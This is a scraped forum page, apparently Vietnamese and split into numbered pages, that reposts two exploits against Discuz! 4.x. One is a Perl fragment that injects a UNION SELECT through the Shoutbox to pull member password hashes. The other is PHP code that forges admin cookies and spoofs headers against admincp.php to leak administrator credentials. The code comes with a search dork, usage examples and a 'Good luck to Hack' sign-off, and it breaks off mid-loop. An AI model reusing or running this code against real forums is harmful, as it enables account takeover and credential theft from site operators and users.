langtuhaohoaHCE iscuz!. 4.x SQL Injection / Admin Credentials Disclosure Exploit PHP Code:.
Trang 1# did we get 200 (OK) ?
if (!$resp->is_success()) { die 'Error: ' $resp->status_line "\n" }
# was the pass right ?
if ($resp->content =~ /sorry, the password was wrong/i) {
die "Error: password incorrect.\n";
}
$| = 1;
print "\nAttempting to extract password hash from database \n ";
$sql = "?act=Shoutbox&view=mycp&sub=ignored&do=add&id=-1 union select member_login_key,1,1 from ".$table_fix."members where id=" $id "/*";
$resp = $ua->get ($base_url $post_pm_page $sql );
if (!$resp->is_success()) {
print "ERROR" ;
}
else {
print "" ;
#print $resp->content;
$rs=$resp->content;
if ( $rs =~ /uid=([a-z,0-9]{32})/ ) { print "HASH : "; print $1 ;
print "\n \n Bug Hunter By : Longnhi \n";
print "Exploit Coded By : Windak & langtuhaohoa ! We are :
Www.HceGroup.Net ! ";
}
else { print "Can't get the pass from output, try to find it manually : "; print
$resp->content;}
}
print "\x08 \x08\n hehehe ! Good luck to Hack !.\n";
<STDIN>;
Trang 2langtuhaohoa(HCE)
iscuz! 4.x SQL Injection / Admin Credentials Disclosure Exploit
PHP Code:
<?php
print_r('
-
Discuz! 4.x SQL injection / admin credentials disclosure exploit
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork: "powered by discuz!
-
');
if ($argc<3) {
print_r('
-
Usage: php '.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to discuz
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /discuz/ -P1.1.1.1:80
php '.$argv[0].' localhost /discuz/ -p81
-
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
Trang 3{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" ";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} }
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy ';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy \r\n"; $ock=fsockopen($parts[0],$parts[1]);
Trang 4if (!$ock) {
echo 'No response from proxy ';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
Trang 5}
if (($path[0]<>'/') or
($path[strlen($path)-1]<>'/')) {echo 'Error check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
echo "please wait \n";
//from global.func.php
function authcode($string, $operation, $key = '') {
$key = $key ? $key : $GLOBALS['discuz_auth_key'];
$coded = '';
$keylength = 32;
$string = $operation == 'DECODE' ? base64_decode($string) : $string;
for($i = 0; $i < strlen($string); $i += 32) {
$coded = substr($string, $i, 32) ^ $key;
}
$coded = $operation == 'ENCODE' ? str_replace('=', '', base64_encode($coded)) : $coded;
return $coded;
}
//stolen from install.php
function random($length) {
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklm nopqrstuvwxyz';
$max = strlen($chars) - 1;
mt_srand((double)microtime() * 1000000);
for($i = 0; $i < $length; $i++) {
$hash = $chars[mt_rand(0, $max)];
}
return $hash;
}
$agent="Googlebot/2.1";
Trang 6//see sql errors you need auth key,
//it's a value mixed up with the random string in cache_settigns.php and your user-agent, so let's ask ;)
$tt="";for ($i=0; $i<=255; $i++){$tt.=chr($i);}
while (1)
{
$discuz_auth_key=random(32);
$packet ="GET ".$p."admincp.php?action=recyclebin HTTP/1.0\r\n";
$packet.="CLIENT-IP: 999.999.999.999\r\n";//spoof
$packet.="User-Agent: $agent\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu
\t".$tt,"ENCODE").";\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$html=html_entity_decode($html);
$html=str_replace("<br />","",$html);
$t=explode("AND m.password='",$html);